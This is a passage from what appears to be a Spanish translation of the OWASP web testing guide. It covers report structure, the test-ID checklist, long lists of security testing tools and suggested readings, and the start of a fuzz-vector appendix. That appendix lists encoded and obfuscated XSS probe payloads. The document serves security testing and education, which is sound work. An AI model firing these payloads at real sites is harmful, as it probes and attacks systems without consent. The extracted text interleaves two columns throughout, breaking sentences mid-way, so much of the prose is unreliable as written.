entregada a los equipos apropiados, tales como los desarrolladores o los
administradores del sistema. Las secciones recomendadas se resumen a
continuación. 2.1 Objetivo del proyecto: En esta sección se describen los objetivos del
proyecto y los resultados esperados de la evaluación.
1. Resumen Ejecutivo
2.2 Alcance del proyecto: En esta sección se describe el alcance acordado.
El resumen ejecutivo compendia los resultados generales de la evaluación
y ofrece a los administradores de negocios y propietarios de sistemas una
vista de alto nivel de las vulnerabilidades descubiertas. El lenguaje
utilizado debe ser más adecuado para las personas que no están al tanto 2.3 Planificación del proyecto: Esta sección muestra cuando la prueba
de la tecnología y debe incluir gráficos o diagramas que muestren el nivel inició y terminó.
de riesgo. Tenga en cuenta que es probable que los ejecutivos sólo tengan
tiempo para leer este resumen y quieran dos preguntas contestadas en un
lenguaje sencillo: 1) ¿Qué pasa? 2) ¿Cómo lo arreglo? Usted tiene una
página para responder a estas preguntas. 2.4 Objetivos: Esta sección muestra el número de aplicaciones o sistemas
específicos.
El resumen ejecutivo debe indicar claramente que las vulnerabilidades y

su gravedad son un primer paso al proceso de gestión de riesgos de la 2.5 Limitaciones: Esta sección describe todas las limitaciones que se
organización, no un resultado o remediación. Es más seguro explicar que enfrentaron a lo largo de la evaluación. Por ejemplo, limitaciones en
el evaluador no entiende las amenazas que la pruebas de enfoque de proyectos, limitación en métodos de ensayo en
cuestiones de seguridad, rendimiento o problemas técnicos que el
evaluador encontró durante el transcurso de la evaluación, etc.

327
2.6 Resumen de resultados: En esta sección se describen las

vulnerabilidades que se descubrieron durante la prueba.
• Imágenes y líneas de comandos para indicar qué tareas se llevaron a
cabo durante la ejecución del caso de prueba
2.7 Resumen de remediación: En esta sección se describe el plan de

acción para resolver las vulnerabilidades que se descubrieron durante la
prueba. • El elemento afectado
3. Resultados • Una descripción técnica del problema y la función o el objeto afectado
La última sección del informe incluye información técnica detallada

acerca de las vulnerabilidades detectadas y las acciones necesarias para
resolverlas. Esta sección está dirigida a un nivel técnico y debe incluir • Una sección sobre la solución del problema
toda la información necesaria para que los equipos técnicos puedan
comprender el problema y resolverlo. Cada hallazgo debe ser claro y
conciso y dar al lector del informe una comprensión completa del tema en
cuestión. • La clasificación de gravedad [1], con la notación vectorial si se utiliza
CVSS
La sección de resultados debe incluir:

La siguiente es la lista de controles que fueron probados durante la
evaluación:
ID Prueba Última versión
Recopilación de Información
OTG-INFO-001 Realizar Motor de búsqueda de descubrimiento y reconocimiento de la fuga de información
OTG-INFO-002 Huella digital del Servidor Web
OTG-INFO-003 Revisión de los Meta archivos del Servidor Web para la fuga de información
OTG-INFO-004 Enumerar las aplicaciones en el Servidor Web
OTG-INFO-005 Revisión de los Comentarios de la Página Web y metadatos para la fuga de información
OTG-INFO-006 Identificar los puntos de entrada de la aplicación
OTG-INFO-007 Mapa de rutas de ejecución a través de la aplicación
OTG-INFO-008 Marco de Aplicaciones Web de la huella digital
OTG-INFO-009 Aplicación Web de la huella digital
OTG-INFO-010 Mapa de arquitectura de aplicaciones
Configuración y Pruebas de Gestión de Despliegue

328
OTG-CONFIG-001 Configuración de Red / Infraestructura de prueba
OTG-CONFIG-002 Configuración de la plataforma de aplicaciones de prueba
OTG-CONFIG-003 Extensiones de prueba de gestión de ficheros de información sensible
OTG-CONFIG-004 Archivos de copia de seguridad y sin referencia para la información sensible
OTG-CONFIG-005 Enumerar interfaces de administración de infraestructura y aplicaciones
OTG-CONFIG-006 Métodos de prueba HTTP
OTG-CONFIG-007 Seguridad de Transporte Estricta de Prueba HTTP
OTG-CONFIG-008 Políticas de Dominio Cruzado de Pruebas RIA
Pruebas de Gestión de Identidad
OTG-IDENT-001 Definiciones de función de Prueba
OTG-IDENT-002 Proceso de Registro de Usuario de Prueba
OTG-IDENT-003 Proceso de Prueba Aprovisionamiento de cuentas
OTG-IDENT-004 Pruebas para la cuenta de enumeración y cuentas de usuario adivinable
OTG-IDENT-005 Pruebas de políticas de nombre de usuario no ejecutado o débil
OTG-IDENT-006 Permisos de Prueba de las cuentas de invitado / entrenamiento
OTG-IDENT-007 Prueba de suspensión de cuenta / Proceso Reanudación
Pruebas de Autenticación
OTG-AUTHN-001 Pruebas para Credenciales, transportados por un canal cifrado
OTG-AUTHN-002 Pruebas para las credenciales predeterminadas
OTG-AUTHN-003 Pruebas para mecanismo de bloqueo débil
OTG-AUTHN-004 Pruebas para pasar por el sistema de autenticación
OTG-AUTHN-005 Prueba de funcionalidad recordar contraseña
OTG-AUTHN-006 Pruebas para debilidad de caché del navegador
OTG-AUTHN-007 Pruebas para la política de contraseñas débiles
OTG-AUTHN-008 Pruebas para la seguridad Débil pregunta / respuesta
OTG-AUTHN-009 Pruebas para los pocos cambios de contraseña o funcionalidades de reinicio
OTG-AUTHN-010 Pruebas para la autenticación más débil en canal alternativo
Pruebas de Autorización

329
OTG-AUTHZ-001 Directorio de las pruebas de recorrido / archivo de inclusión
OTG-AUTHZ-002 Pruebas para pasar por el esquema de autorización
OTG-AUTHZ-003 Pruebas para escalada de privilegios
OTG-AUTHZ-004 Pruebas para referencias de objetos directos inseguros
Pruebas de gestión de sesiones
OTG-SESS-001 Pruebas por exclusión del esquema de gestión de sesiones
OTG-SESS-002 Pruebas para atributos Cookies
OTG-SESS-003 Pruebas para Fijación de Sesión
OTG-SESS-004 Pruebas para variables de sesión expuestas
OTG-SESS-005 Pruebas para falsificación de solicitudes de múltiples sitios
OTG-SESS-006 Pruebas para funcionalidad de cierre de sesión
OTG-SESS-007 Tiempo de espera de sesión de pruebas
OTG-SESS-008 Pruebas para sesión desconcertante
Pruebas de validación de entrada
OTG-INPVAL-001 Pruebas para XSS Reflejado
OTG-INPVAL-002 Pruebas para almacenado XSS
OTG-INPVAL-003 Pruebas para Alteración verbal HTTP
OTG-INPVAL-004 Pruebas para la contaminación de parámetros HTTP
OTG-INPVAL-006 Pruebas para la inyección de SQL
Prueba de oráculo
Pruebas de Servidor SQL
Prueba de PostgreSQL
Pruebas de Acceso MS
Pruebas para la inyección NoSQL
OTG-INPVAL-007 Pruebas para inyección LDAP
OTG-INPVAL-008 Pruebas para inyección ORM

330
OTG-INPVAL-009 Pruebas para inyección XML
OTG-INPVAL-010 Pruebas para inyección SSI
OTG-INPVAL-011 Pruebas para inyección XPath
OTG-INPVAL-012 Inyección IMAP / SMTP
OTG-INPVAL-013 Pruebas para la inyección de código
Pruebas para la Inclusión de archivos locales
Pruebas para la inclusión de archivos remotos
OTG-INPVAL-014 Pruebas para inyección de comandos
OTG-INPVAL-015 Pruebas para desbordamiento de búfer
Pruebas para desbordamiento del montón
Pruebas para desbordamiento de pila
Pruebas para el formato de cadenas
OTG-INPVAL-016 Pruebas para vulnerabilidades incubadas
OTG-INPVAL-017 Pruebas para división/contrabando de HTTP
Manejo de errores
OTG-ERR-001 Análisis de Códigos de error
OTG-ERR-002 Análisis de trazas de la pila
Criptografía
OTG-CRYPST-001 Pruebas para cifrados SSL/TSL débiles, protección de la capa de transporte insuficiente
OTG-CRYPST-002 Pruebas para oráculo acolchado
OTG-CRYPST-003 Pruebas para la información sensible enviada a través de canales no cifrados
Pruebas de Lógica de Negocios
OTG-BUSLOGIC-001 Validación de prueba de datos empresariales lógicos
OTG-BUSLOGIC-002 Prueba de habilidad para forjar solicitudes
OTG-BUSLOGIC-003 Comprobaciones prueba de integridad

331
OTG-BUSLOGIC-004 Prueba de proceso de temporización
OTG-BUSLOGIC-005 Prueba de Límites de Número de veces que una función se puede utilizar
OTG-BUSLOGIC-006 Pruebas para la elusión de los flujos de trabajo
OTG-BUSLOGIC-007 Prueba de mejores defensas contra el mal uso de aplicaciones
OTG-BUSLOGIC-008 Prueba de carga de tipos de archivo inesperados
OTG-BUSLOGIC-009 Prueba de carga de Archivos malicioso
Pruebas lado del cliente
OTG-CLIENT-001 Pruebas para DOM basada en XSS
OTG-CLIENT-002 Pruebas para ejecución de JavaScript
OTG-CLIENT-003 Pruebas para inyección HTML
OTG-CLIENT-004 Pruebas para redirección de URL lado del cliente
OTG-CLIENT-005 Pruebas para inyección CSS
OTG-CLIENT-006 Pruebas para la manipulación de recursos de lado del cliente
OTG-CLIENT-007 Prueba Cruzada intercambio de recursos de origen
OTG-CLIENT-008 Pruebas para sitios múltiples intermitentes
OTG-CLIENT-009 Pruebas para Clickjacking
OTG-CLIENT-010 Pruebas de websockets
OTG-CLIENT-011 Mensajería Web de prueba
OTG-CLIENT-012 Almacenamiento local de prueba

332
• Incluye una biblioteca de ataques XSS, codificador/decodificador de caracteres,
Apéndice generador de solicitudes y evaluador de respuestas HTTP, lista de verificación de
pruebas, editor de ataques automatizados y mucho más.
OWASP Pantera Web Assessment Studio Project
• Pantera usa una versión mejorada de SpikeProxy para proveer un motor más
poderoso de análisis para aplicaciones web. El objetivo principal de Pantera es
combinar capacidades automatizadas con pruebas manuales completas para
Esta sección se utiliza a menudo para describir las herramientas conseguir los mejores resultados en pruebas de penetración.
comerciales y de código abierto que fueron utilizadas para realizar la
evaluación. Cuando scripts personalizados o códigos son utilizados
durante la evaluación, estos deben darse a conocer en esta sección o se
deben señalar como un archivo adjunto. Los clientes aprecian cuando se OWASP Mantra - Security Framework
incluye la metodología utilizada por los consultores. Esto les da una idea
de la minuciosidad de la evaluación y de cuáles áreas fueron incluidas. • Mantra es un framework de pruebas de seguridad de aplicaciones web construido
sobre un navegador. Es compatible con Windows, Linux (32 y 64 bit) y Macintosh.
Además, puede trabajar con otros programas como ZAP usando funciones
administrativas de proxy incorporado que hace que sea mucho más conveniente.
References Industry standard vulnerability severity and risk rankings (CVSS) [1]: Mantra está disponible en nueve idiomas: árabe, chino - simplificado, chino -
first.org tradicional, inglés, francés, portugués, ruso, español y turco.
Apéndice A: Herramientas de prueba SPIKE - immunitysec.com
Herramientas de Pruebas de Caja Negra de código abierto • SPIKE está diseñado para analizar nuevos protocolos de red en busca de una
saturación de búfer o debilidades similares. Requiere un sólido conocimiento de C
Pruebas Generales para utilizarlo y sólo está disponible para la plataforma Linux.
OWASP ZAP Burp Proxy - portswigger.net
• El Zed Attack Proxy (ZAP) es una herramienta de pruebas de penetración • Burp Proxy es un servidor proxy interceptor para pruebas de seguridad de
integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está aplicaciones web, que permite interceptar y modificar todo el tráfico HTTP(S) que
diseñada para ser utilizada por personas con amplia experiencia en seguridad y, pasa en ambas direcciones; puede trabajar con certificados SSL personalizados y
como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en clientes no proxy conscientes.
el uso de pruebas de penetración.
Odysseus Proxy - http://www.bindshell.net/tools/odysseus.html

• ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que
permiten encontrar las vulnerabilidades de seguridad manualmente. • Odysseus es un servidor proxy, que actúa como un intermediario durante una
sesión HTTP. Un proxy HTTP típico retransmite paquetes hacia y desde un
evaluador del cliente y un servidor web. Interceptará los datos de una sesión HTTP
en cualquier dirección.
OWASP WebScarab
• WebScarab es un framework para analizar las aplicaciones que se comunican

mediante los protocolos HTTP y HTTPS. Está escrito en Java y es portable a Webstretch Proxy - sourceforge.net
muchas plataformas. WebScarab tiene varios modos de funcionamiento que son
ejecutados por varios plugins. • Webstretch Proxy permite a los usuarios ver y modificar todos los aspectos de la
comunicación con un sitio web a través de un proxy. También puede ser utilizado
para la depuración durante el desarrollo.
OWASP CAL9000
• CAL9000 es una colección de herramientas basadas en el navegador, que WATOBO - sourceforge.net

permiten esfuerzos de pruebas manuales más eficaces y eficientes.
333
• WATOBO trabaja como un proxy local, similar a Webscarab, ZAP o BurpSuite y • Las características de Wikto incluyen la comprobación de la lógica difusa de los
soporta revisiones pasivas y activas. errores de código, un minador de accesos restringidos, minero de directorio asistido
por Google y seguimiento de solicitudes y respuestas HTTP en tiempo real.
w3af - w3af.org
Firefox LiveHTTPHeaders - addons.mozilla.org
• w3af es un framework referencial de ataques y auditorías de aplicaciones web. El
• Visualiza encabezados HTTP de una página mientras navega. objetivo del proyecto es encontrar y explotar las vulnerabilidades de la aplicaciones
web.
Firefox Tamper Data - addons.mozilla.org

skipfish - code.google.com
• Use tamperdata para visualizar y modificar encabezados y publicaciones
HTTP/HTTPS. • Skipfish es una herramienta activa de reconocimiento de seguridad para
aplicaciones web.
Firefox Web Developer Tools - addons.mozilla.org

Web Developer toolbar - chrome.google.com
• La extensión del Desarrollador Web añade varias herramientas de desarrollo web
al navegador. • La extensión Web Developer añade un botón de barra de herramientas al
navegador, con varias herramientas de desarrollo web. Este es el puerto oficial de la
extensión de Web Developer para Firefox.
DOM Evaluador - developer.mozilla.org
• DOM Evaluador es una herramienta de desarrollador que se usa para HTTP Request Maker - chrome.google.com
inspeccionar, navegar y editar un Documento de Modelo de Objeto (Document
Object Model (DOM)). • Request Maker es una herramienta de pruebas de penetración. Con esta
aplicación puede capturar fácilmente solicitudes realizadas por páginas web, alterar
los encabezados URL e información POST y, por supuesto, realizar nevas
solicitudes.
Firefox Firebug - getfirebug.com
• Firebug se integra con Firefox para editar, depurar, y monitorear CSS,HTML, y

JavaScript. Cookie Editor - chrome.google.com
• Edit This Cookie es un administrador de cookies. Usted puede añadir, borrar,

editar, buscar, proteger y bloquear cookies
Grendel-Scan - sourceforge.net
• Grendel-Scan es una herramienta automatizada de seguridad para aplicaciones

web y soporta pruebas manuales de penetración. Cookie swap - chrome.google.com
• Swap My Cookies es un administrador de sesión, administra cookies, permitiendo

que se registre en cualquier sitio web con varias cuentas diferentes.
OWASP SWFIntruder - code.google.com
• SWFIntruder (se pronuncia Swiff Intruder) es la primera herramienta desarrollada

específicamente para analizar y probar la seguridad de tiempo de ejecución de Firebug lite para Chrome”” - chrome.google.com
aplicaciónes Flash.
Firebug Lite no es un sustituto de Firebug o Chrome Developer Tools. Es
una herramienta para ser utilizada conjuntamente con estas
herramientas. Firebug Lite proporciona la vasta representación visual
SWFScan - Link por decidir que estamos acostumbrados a ver en Firebug cuando se trata de los
elementos HTML, los elementos DOM y el Box Model shading. También
• Descompilador de Flash ofrece algunas características interesantes como la inspección de los
elementos HTML con el ratón y las propiedades CSS de edición en tiempo
real.
Wikto - sensepost.com

334
Session Manager”” - chrome.google.com Blind SQL Injections: code.google.com
• Con el Session Manager se puede guardar en forma rápida el estado de su

navegador actual y volverlo a cargar siempre que sea necesario. Puede
administrar varias sesiones, cambiar nombres o eliminarlos de la sesión • Pangolin: Una herramienta automática de pruebas de penetración de inyección
de biblioteca. Cada sesión recuerda el estado del navegador en el SQL: nosec.org
momento de su creación, es deci pestañas y ventanas abiertas.
• Antonio Parata: Dump Files by sql inference on Mysql - SqlDumper:

Subgraph Vega - subgraph.com
http://www.ruizata.com/
• Vega es un escáner gratuito y de fuente abierta y plataforma de pruebas
para comprobar la seguridad de las aplicaciones web. Vega puede ayudar
a encontrar y validar la inyección SQL, Cross-Site Scripting (XSS), sin dar a
conocer información sensible y otras vulnerabilidades. Está escrito en • Multiple DBMS Sql Injection tool - SQL Power Injector:
Java, basado en GUI, y se ejecuta en Linux, OS X y Windows.
Prueba de vulnerabilidades específicas

• MySql Blind Injection Bruteforcing, Reversing.org - sqlbftools:
Prueba de DOM XSS
packetstormsecurity.org
• DOMinator Pro: dominator.mindedsecurity.com
Prueba de Oracle
Prueba de AJAX
• TNS Listener tool (Perl: jammed.com
• OWASP Sprajax Project: owasp.org
• Toad for Oracle: quest.com
Prueba de inyección SQL

Prueba de SSL
• OWASP SQLiX
• Foundstone SSL Digger: mcafee.com
• Sqlninja: inyección SQL Server & Herramienta Takeover :

Prueba del acceso Forzoso de contraseña (
sqlninja.sourceforge.net
• THC Hydra: thc.org
• John the Ripper: openwall.com

• Bernardo Damele A. G.: sqlmap, automatic SQL injection tool:
• Brutus: hoobie.net
sqlmap.org
• Medusa: foofus.net
• Absinthe 1.1 (formerly SQLSqueal): sourceforge.net
• Ncat: nmap.org
• SQLInjector - Usa técnicas de inferencia para extraer datos y

Prueba de la saturación de búfer (Buffer Overflow)
determinar el servidor de bases de back-end: databasesecurity.com
OllyDbg: ollydbg.de
• “Un depurador basado en Windows que se usa para analizar las vulnerabilidades
• Bsqlbf-v2: Un script Perl que permite la extracción de datos de de saturación del búfer”

335
• N-Stalker Web Application Security Scanner: nstalker.com
Spike: immunitysec.com • HP WebInspect: hpenterprisesecurity.com
• Un framework de distorción que puede usarse para explorar vulnerabilidades y • SoapUI (Web Service security testing): soapui.org
realizar pruebas de larga duración de Fuerza Bruta Binaria (Brute Force Binary
Tester (BFB)) : • Netsparker: mavitunasecurity.com
bfbtester.sourceforge.net • SAINT: saintcorporation.com
• QualysGuard WAS: qualys.com
• Un verificador binario proactivo • Retina Web: beyondtrust.com
Metasploit: metasploit.com
Evaluadores de Código Fuente
• Un framework rápido de desarrollo y pruebas Open Source / Freeware
• Owasp Orizon: owasp.org
Distorsionador (Fuzzer) • OWASP LAPSE: owasp.org
• OWASP WSFuzzer: owasp.org • OWASP O2 Platform: owasp.org
• Wfuzz: darknet.org.uk • Google CodeSearchDiggity: bishopfox.com
• PMD: pmd.sourceforge.net
Googleando • FlawFinder: dwheeler.com
• Stach & Liu’s Google Hacking Diggity Project: bishopfox.com • Microsoft’s FxCop: msdn.microsoft.com
• Foundstone Sitedigger (Google cached fault-finding): mcafee.com • Splint: splint.org
• Boon: cs.berkeley.edu
Herramientas comerciales de pruebas de caja negra • FindBugs: findbugs.sourceforge.net
• NGS Typhon III: nccgroup.com • Find Security Bugs: h3xstream.github.io
• NGSSQuirreL: nccgroup.com • W3af: w3af.sourceforge.net
• IBM AppScan: 01.ibm.com • phpcs-security-audit: github.com
• Cenzic Hailstorm: cenzic.com
• Burp Intruder: portswigger.net Comercial
• Acunetix Web Vulnerability Scanner: acunetix.com • Armorize CodeSecure: armorize.com
• Sleuth: sandsprite.com • Parasoft C/C++ test: parasoft.com
• NT Objectives NTOSpider: ntobjectives.com • Checkmarx CxSuite: checkmarx.com
• MaxPatrol Security Scanner: ptsecurity.com • HP Fortify: hpenterprisesecurity.com
• Parasoft SOAtest (more QA-type tool): parasoft.com • GrammaTech: grammatech.com
• MatriXay: dbappsecurity.com • ITS4: seclab.cs.ucdavis.edu

336
• Appscan: 01.ibm.com • Una herramienta de prueba basada en XML que proporciona una
fachada en la parte superior de htmlunit.
• ParaSoft: parasoft.com
• Virtual Forge CodeProfiler for ABAP: virtualforge.de

• No es necesaria la codificación ya que las pruebas están completamente
• Veracode: veracode.com especificadas en XML.
• Armorize CodeSecure: armorize.com
• Existe la opción de secuencias de algunos elementos en el Groovy si XML

no es suficiente.
Herramientas de prueba de aceptación
Las herramientas de pruebas de aceptación se utilizan para validar la

funcionalidad de las aplicaciones web. Algunas siguen un enfoque con • Mantenido muy activamente
guión y, por lo general, hacen uso de un marco de pruebas unitarias para
construir series de pruebas y casos de prueba. La mayoría, si no todas, se
pueden adaptar para llevar a cabo pruebas específicas de seguridad,
además de las pruebas funcionales. • HttpUnit: httpunit.sourceforge.net
Herramientas de código fuente • Uno de los primeros marcos de prueba web; adolece de usar el nativo
JDK proporcionando transporte HTTP que puede ser un poco limitante
• Un marco de pruebas basado en la web Ruby que proporciona una para las pruebas de seguridad.
interfaz en Internet Explorer.
• Watij: watij.com
• Windows solamente.
• Una implementación Java de WATIR.

• HtmlUnit: htmlunit.sourceforge.net
• El proyecto ahora es compatible con IE, Mozilla, y Safari, Windows,

• Un marco basado en Java y JUnit que utiliza Apache HttpClient como Linux, y Mac
transporte.
• Solex: solex.sourceforge.net
• Muy robusto y configurable y se utiliza como motor para un número de
otras herramientas de prueba.
• Un plugin de Eclipse que proporciona una herramienta gráfica para

grabar sesiones de HTTP y hace afirmaciones basadas en los resultados.
• jWebUnit: jwebunit.sourceforge.net
• Selenium: seleniumhq.org
• Un meta-marco basado en Java que utiliza htmlunit o selenium como
motor de prueba.
• El marco de pruebas basadas en JavaScript, multiplataforma y ofrece

una Interfaz gráfica de usuario para la creación de pruebas.
• Canoo WebTest: webtest.canoo.com
• Herramienta, madura y popular, pero el uso de JavaScript podría

dificultar ciertas pruebas de seguridad.

337
• The Open Web Application Security Project (OWASP) Guide Project:
Otras herramientas owasp.org
Análisis de tiempo de ejecución
• Rational PurifyPlus: 01.ibm.com • Security Considerations in the System Development Life Cycle
• Seeker by Quotium: quotium.com (NIST): nist.gov
Analisis Binario • The Security of Applications: Not All Are Created Equal:
• BugScam IDC Package: sourceforge.net securitymanagement.com
• Veracode: veracode.com
• Software Assurance: An Overview of Current Practices:
Gestión de Requisitos safecode.org
• Rational Requisite Pro: ibm.com
• Software Security Testing: Software Assurance Pocket guide Series:
Mirroring del Sitio Development, Volume III: buildsecurityin.us-cert.gov
• wget: gnu.org
• curl: curl.haxx.se • Use Cases: Just the FAQs and Answers: ibm.com
• Sam Spade: samspade.org
• Xenu’s Link Sleuth: home.snafu.de Libros Blancos
• The Art of Software Security Testing: Identifying Software Security
Guía de pruebas OWASP Apéndice B: Flaws, by Chris Wysopal, Lucas Nelson, Dino Dai Zovi, Elfriede Dustin,
published by Addison: Wesley, ISBN 0321304861 (2006)
Lecturas sugeridas
• Building Secure Software: How to Avoid Security Problems the

Libros Blancos
Right Way, by Gary McGraw and John Viega, published by Addison-Wesley
• The Economic Impacts of Inadequate Infrastructure for Software Pub Co, ISBN 020172152X (2002) -
Testing: nist.gov buildingsecuresoftware.com
• Improving Web Application Security: Threats and Countermeasures: • The Ethical Hack: A Framework for Business Value Penetration
msdn.microsoft.com Testing, By James S. Tiller, Auerbach Publications, ISBN 084931609X (2005)
• NIST Publications: csrc.nist.gov • + Versión online disponible en: books.google.com

338
• Exploiting Software: How to Break Code, by Gary McGraw and Greg
Hoglund, published by Addison-Wesley Pub Co, ISBN 0201786958 (2004): • Secure Coding: Principles and Practices, by Mark Graff and Kenneth
exploitingsoftware.com
R. Van Wyk, published by O’Reilly, ISBN 0596002424 (2003):
securecoding.org
• The Hacker’s Handbook: The Strategy behind Breaking into and
Defending Networks, By Susan Young, Dave Aitel, Auerbach Publications,

ISBN: 0849308887 (2005) • Secure Programming for Linux and Unix HOWTO, David Wheeler
(2004): dwheeler.com
• + Versión online disponible en: books.google.com
• + Versión online: dwheeler.com
• Hacking Exposed: Web Applications 3, by Joel Scambray, Vinvent Liu, Caleb

Sima, published by McGraw-Hill Osborne Media, ISBN 007222438X (2010):
webhackingexposed.com • Securing Java, by Gary McGraw, Edward W. Felten, published by
Wiley, ISBN 047131952X (1999): securingjava.com
• The Web Application Hacker’s Handbook: Finding and Exploiting
Security Flaws, 2nd Edition - published by Dafydd Stuttard, Marcus Pinto, ISBN • Software Security: Building Security In, by Gary McGraw, published
9781118026472 (2011)
by Addison-Wesley Professional, ISBN 0321356705 (2006)
• How to Break Software Security, by James Whittaker, Herbert H.

• Software Testing In The Real World (Acm Press Books) by Edward
Thompson, published by Addison Wesley, ISBN 0321194330 (2003)
Kit, published by Addison-Wesley Professional, ISBN 0201877562 (1995)
• How to Break Software: Functional and Security Testing of Web

• Software Testing Techniques, 2nd Edition, By Boris Beizer,
Applications and Web Services, by Make Andrews, James A. Whittaker,
published by Pearson Education Inc., ISBN 0321369440 (2006) International Thomson Computer Press, ISBN 9781593273880
The Tangled Web: A Guide to Securing Modern Web Applications, by Michael

Zalewski, published by No Starch Press Inc., ISBN 047131952X (2011)
• Innocent Code: A Security Wake-Up Call for Web Programmers,
The Unified Modeling Language – A User Guide – by Grady Booch, James
by Sverre Huseby, published by John Wiley & Sons, ISBN 0470857447(2004): Rumbaugh, Ivar Jacobson, published by Addison-Wesley Professional, ISBN
innocentcode.thathost.com 0321267974 (2005)
• + Online version available at: books.google.com • The Unified Modeling Language User Guide, by Grady Booch, James
Rumbaugh, Ivar Jacobson, Ivar published by Addison-Wesley Professional, ISBN
0-201-57168-4 (1998)
• Mastering the Requirements Process, by Suzanne Robertson and Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast,
by Paco Hope, Ben Walther, published by O’Reilly, ISBN 0596514832 (2008)
James Robertson, published by Addison-Wesley Professional, ISBN 0201360462
• Writing Secure Code, by Mike Howard and David LeBlanc, published by

• + Online version available at: books.google.com Microsoft Press, ISBN 0735617228 (2004): microsoft.com

339
• OWASP Appsec Tutorial Series: owasp.org
Páginas Web útiles • SecurityTube: securitytube.net
• Build Security In: buildsecurityin.us-cert.gov • Videos by Imperva: imperva.com
• Build Security In - Security-Specific Bibliography:
buildsecurityin.us-cert.gov Aplicaciones Web deliberadamente inseguras
• CERT Secure Coding: cert.org • OWASP Vulnerable Web Applications Directory Project: owasp.org
• CERT Secure Coding Standards: securecoding.cert.org • BadStore: badstore.net
• Exploit and Vulnerability Databases: buildsecurityin.us-cert.gov • Damn Vulnerable Web App: blog.dewhurstsecurity.com
• Google Code University - Web Security: developers.google.com
• McAfee Foundstone Publications: mcafee.com Hacme Series from McAfee:
• McAfee – Resources Library: mcafee.com • + Hacme Travel: mcafee.com
• McAfee Free Tools: mcafee.com • + Hacme Bank: mcafee.com
• OASIS Web Application Security (WAS) TC: oasis-open.org • + Hacme Shipping: mcafee.com
• Open Source Software Testing Tools: opensourcetesting.org • + Hacme Casino: mcafee.com
• OWASP Security Blitz: owasp.org • + Hacme Books: mcafee.com
• OWASP Phoenix/Tool: owasp.org
• SANS Internet Storm Center (ISC): isc.sans.edu • Moth: bonsai-sec.com
• The Open Web Application Application Security Project (OWASP: • Mutillidae: irongeek.com
owasp.org • Stanford SecuriBench: suif.stanford.edu
• Pentestmonkey - Pen Testing Cheat Sheets: pentestmonkey.net • Vicnum: vicnum.sourceforge.net and owasp.org
• Secure Coding Guidelines for the .NET Framework 4.5: • WebGoat: owasp.org
msdn.microsoft.com • WebMaven (better known as Buggy Bank): mavensecurity.com
• Security in the Java platform: docs.oracle.com
• System Administration, Networking, and Security Institute (SANS): Guía de pruebas de OWASP Apéndice C: Vectores Fuzz
sans.org Los siguientes son vectores fuzzing que se pueden utilizar con
WebScarab, JBroFuzz, WSFuzzer, ZAP u otro fuzzer. Fuzzing es el enfoque
• Technical INFO - Making Sense of Security: technicalinfo.net del "fregadero de la cocina" en inglés: "kitchen sink" para probar la
respuesta de una aplicación al parámetro manipulación. En general, se
• Web Application Security Consortium: webappsec.org buscan condiciones de error que se generan en una aplicación como
resultado de fuzzing. Esta es la parte sencilla de la fase de
• Web Application Security Scanner List : projects.webappsec.org descubrimiento. Una vez que el error ha sido descubierto, se requiere
habilidad para identificar y explotar una vulnerabilidad potencial.
• Web Security - Articles: acunetix.com
Categorías fuzz
Videos

340
En el caso de protocolo de red sin estado fuzzing (como HTTP (S)),
existen dos grandes categorías:
El resto de este apéndice presenta una serie de categorías de vectores
fuzz.
• Recursive fuzzing (ocultamiento recursivo)
• Replacive fuzzing (Ocultamiento por reemplazo) Cross Site Scripting (XSS)
Para detalles en XSS: Cross-site Scripting (XSS)
Examinamos y definimos cada categoría en las subsecciones que siguen. >”><script>alert(“XSS”)</script>&
“><STYLE>@import”javascript:alert(‘XSS’)”;</STYLE>
Ocultamiento recursivo >”’><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26

%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26
El ocultamiento recursivo se puede definir como el proceso de difuminar %23x3a;
una parte de una solicitud por iteración, a través de todas las posibles
combinaciones de un sistema alfabético. Consideremos el caso de:
http://www.example.com/8302fa3b alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26qu
ot;)>
Al seleccionar "8302fa3b" como una parte de la solicitud para ser

difuminada contra el sistema alfabético hexadecimal (es decir, >%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
{0,1,2,3,4,5,6,7,8,9, a, b, c, d, e , f}), cae bajo la categoría de ocultamiento
recursivo. Esto generaría un total de 16 ^ 8 solicitudes de la forma: ‘%uff1cscript%uff1ealert(‘XSS’)%uff1c/script%uff1e’
http://www.example.com/00000000 “>
... >”
http://www.example.com/11000fff ‘’;!--”<XSS>=&{()}
... <IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert(‘XSS’)>
Ocultamiento por reemplazo <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
El ocultamiento por reemplazo se puede definir como el proceso de <IMG SRC=JaVaScRiPt:alert("XSS<WBR>")>

difuminar parte de una solicitud al reemplazarla por un valor
establecido. Este valor se conoce como vector fuzz. En el caso de: <IMGSRC=java&<WBR>#115;cri&#
112;&<WBR>#116;:a
http://www.example.com/8302fa3b
le&<WBR>#114;t('X&#83<WBR>;S&
#39;&#41>
La realización de pruebas de Cross Site Scripting (XSS) mediante el envío
de los siguientes vectores fuzz: <IMGSRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115
&<WBR>#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0
http://www.example.com/>”><script>alert(“XSS”)</script>&
000058
http://www.example.com/’’;!--”<XSS>=&{()}
&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0
000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#00000
39&#0000041>
Esta es una forma de ocultamiento por reemplazo. En esta categoría, el
número total de solicitudes depende del número de vectores fuzz
especificados.

341
<IMGSRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x envuelven el suministro de lenguaje de formato específico de fichas, para ejecutar
70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28 códigos arbitrarios o inhabilitar un programa. Fuzzing para este tipo de errores tiene
como objetivo comprobar la entrada del usuario sin filtrar.
&<WBR>#x27&#x58&#x53&#x53&#x27&#x29>
Una excelente introducción a través de FSE se puede encontrar en el documento

<IMG SRC=”jav ascript:alert(<WBR>’XSS’);”> titulado USENIX: Detección de formato de cadena de vulnerabilidades con Tipo
Calificadores.
